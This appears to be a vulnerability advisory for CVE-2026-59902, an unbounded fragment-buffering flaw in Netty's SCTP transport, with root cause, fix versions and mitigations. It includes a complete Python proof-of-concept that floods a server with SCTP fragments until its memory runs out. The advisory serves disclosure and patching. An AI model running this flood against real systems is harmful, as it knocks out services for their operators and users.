CVE-2026-59902: netty-transport-sctp SctpMessageCompletionHandler Memory Exhaustion
Netty's SCTP message reassembler buffers incoming fragments without any byte-size limit, so an unauthenticated attacker can fill server memory and trigger an OutOfMemoryError with just a few…

The problem
SctpMessageCompletionHandler accumulates fragments for incomplete SCTP messages in a per-stream map. The fix for CVE-2026-46340 capped the number of concurrent incomplete messages (default 128) and fragments per message (default 128), but never bounded the total bytes buffered.
With defaults and a 64 KB SCTP chunk ceiling, a single connection can force the handler to hold up to 128 × 128 × 64 KB ≈ 1 GB. Opening a handful of concurrent connections is enough to exhaust heap and crash the JVM with an OutOfMemoryError. No authentication is required.
Proof of concept
A working proof-of-concept for CVE-2026-59902 in io.netty:netty-transport-sctp, with the exact payload below.
#!/usr/bin/env python3
# Requires: pysctp (pip install pysctp)
# Target: Netty server using SctpMessageCompletionHandler, 4.2.0–4.2.16.Final
# Goal: exhaust server heap via unbounded fragment buffering (CVE-2026-59902)
import sctp, socket, time
SERVER = ('192.0.2.1', 9999)
FRAGMENT_SIZE = 65535 # near-max SCTP chunk
NUM_STREAMS = 128 # max incomplete messages (default limit)
FRAGMENTS_EACH = 128 # max fragments per message (default limit)
# 128 streams * 128 frags * 64 KB ≈ 1 GB per connection -- never send 'complete'
def flood():
sock = sctp.sctpsocket_tcp(socket.AF_INET)
sock.connect(SERVER)
payload = b'X' * FRAGMENT_SIZE
for stream_id in range(NUM_STREAMS):
for _ in range(FRAGMENTS_EACH):
# complete=False: handler buffers the fragment, never reassembles
sock.sctp_send(payload, to=SERVER, stream=stream_id, ppid=0)
print(f'[+] stream flooding done, buffers held in server heap')
time.sleep(9999) # keep connection alive so buffers are not released
if __name__ == '__main__':
import threading
# a few concurrent connections multiply the heap pressure
for _ in range(4):
threading.Thread(target=flood, daemon=True).start()
time.sleep(9999)The prior CVE-2026-46340 patch introduced fragment-count and message-count guards but added no byte-budget check. The decode loop in SctpMessageCompletionHandler still appended every incoming fragment to an in-memory list without comparing accumulated bytes against any ceiling.
The fix in commit 1b5abc6443b63726c72cdd285af2feb7ddbb8ff7 (PR #17217) adds a configurable byte-size limit (maxIncompleteSctpMessageBytes / maxFragmentSize). When a new fragment would push the per-message byte total past that limit, the handler now drops the fragment and closes the connection, preventing unbounded heap growth.
Root cause is CWE-770: Allocation of Resources Without Limits or Throttling.
The fix
Upgrade to netty-transport-sctp 4.2.17.Final (or 4.1.137.Final for the 4.1.x line). Both versions add a byte-size ceiling on buffered fragment data alongside the existing count limits. If an immediate upgrade is not possible, place a firewall or load-balancer rule in front of the SCTP port to restrict the maximum DATA chunk payload size and limit concurrent SCTP associations per source IP.
Related research
- high · 7.5CVE-2026-56819CVE-2026-56819: netty-codec-http2 HTTP/2 Decompression ByteBuf Reference-Count Leak (OOM DoS)
- high · 7.5CVE-2026-41695CVE-2026-41695: Spring Data Commons Unbounded Property-Path Cache DoS
- high · 8.6CVE-2026-54609CVE-2026-54609: QTINeon NeonRelay Unauthenticated Amplification via Unbounded RECONNECT_REQUEST Forwarding
- critical · 9.4OpenDJ DSMLv2 Gateway Unauthenticated SSRF and Local File Read